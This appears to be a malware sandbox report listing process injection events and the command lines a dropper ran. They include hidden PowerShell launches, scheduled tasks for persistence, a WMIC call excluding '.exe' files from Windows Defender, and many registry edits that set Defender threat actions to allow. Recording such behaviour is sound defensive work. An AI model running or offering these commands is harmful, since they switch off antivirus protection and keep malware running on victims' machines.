PID 4212 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 4440 wrote to memory of 4632 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 4632 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 4632 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4632 wrote to memory of 856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 4632 wrote to memory of 856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 4632 wrote to memory of 856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 856 wrote to memory of 2832 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 856 wrote to memory of 2832 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 856 wrote to memory of 2832 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 2832 wrote to memory of 4912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2832 wrote to memory of 4912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2832 wrote to memory of 4912 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4440 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4476 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 4476 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 4476 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 1880 wrote to memory of 4940 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 1880 wrote to memory of 4940 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 1880 wrote to memory of 4940 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4940 wrote to memory of 792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4940 wrote to memory of 792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4940 wrote to memory of 792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4440 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 2796 wrote to memory of 2252 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 2796 wrote to memory of 2252 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 2796 wrote to memory of 2252 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cscript.exe
PID 2252 wrote to memory of 3216 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 2252 wrote to memory of 3216 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 2252 wrote to memory of 3216 N/A C:\Windows\SysWOW64\cscript.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Windows\SysWOW64\cmd.exe
PID 3216 wrote to memory of 4464 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3216 wrote to memory of 4464 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3216 wrote to memory of 4464 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1216 wrote to memory of 2136 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\File1.exe
PID 1216 wrote to memory of 2136 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\File1.exe
PID 1216 wrote to memory of 2136 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\File1.exe
PID 2136 wrote to memory of 4216 N/A C:\Users\Public\File1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2136 wrote to memory of 4216 N/A C:\Users\Public\File1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2136 wrote to memory of 4216 N/A C:\Users\Public\File1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2136 wrote to memory of 4216 N/A C:\Users\Public\File1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Processes

C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe

"C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "cscript.exe C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\cscript.exe

cscript.exe C:\Users\Public\make.vbs

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill/IM C:\Users\Public\Channel4.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "del C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\taskkill.exe

taskkill /IM C:\Users\Public\Channel4.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "cscript.exe C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\cscript.exe

cscript.exe C:\Users\Public\make.vbs

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill/IM C:\Users\Public\File1.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "del C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\taskkill.exe

taskkill /IM C:\Users\Public\File1.exe /F /t

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "saps C:\Users\Public\File1.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "cscript.exe C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\cscript.exe

cscript.exe C:\Users\Public\make.vbs

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill/IM C:\Users\Public\Windows.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "del C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\taskkill.exe

taskkill /IM C:\Users\Public\Windows.exe /F /t

C:\Users\Public\File1.exe

"C:\Users\Public\File1.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "saps C:\Users\Public\Windows.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "cscript.exe C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\cscript.exe

cscript.exe C:\Users\Public\make.vbs

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill/IM C:\Users\Public\xarirogemi.exe /F /t

C:\Windows\SysWOW64\taskkill.exe

taskkill /IM C:\Users\Public\xarirogemi.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "del C:\Users\Public\make.vbs"

C:\Users\Public\Windows.exe

"C:\Users\Public\Windows.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "cscript.exe C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\cscript.exe

cscript.exe C:\Users\Public\make.vbs

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill/IM C:\Users\Public\setup1.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "del C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\taskkill.exe

taskkill /IM C:\Users\Public\setup1.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "cscript.exe C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\cscript.exe

cscript.exe C:\Users\Public\make.vbs

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill/IM C:\Users\Public\385104.exe /F /t

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "del C:\Users\Public\make.vbs"

C:\Windows\SysWOW64\taskkill.exe

taskkill /IM C:\Users\Public\385104.exe /F /t

C:\Users\Admin\AppData\Local\Temp\service123.exe

"C:\Users\Admin\AppData\Local\Temp\service123.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "saps C:\Users\Public\385104.exe"

C:\Users\Public\385104.exe

"C:\Users\Public\385104.exe"

C:\Users\Admin\AppData\Local\Temp\7zS60C4.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe

.\Install.exe /QmQuZdidEuh "385104" /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bOYLEOfZCACcRQIJvG" /SC once /ST 05:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe\" c9 /LjdidcI 385104 /S" /V1 /F

C:\Users\Admin\AppData\Local\Temp\service123.exe

C:\Users\Admin\AppData\Local\Temp\/service123.exe

C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe c9 /LjdidcI 385104 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Users\Admin\AppData\Local\Temp\service123.exe

C:\Users\Admin\AppData\Local\Temp\/service123.exe

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

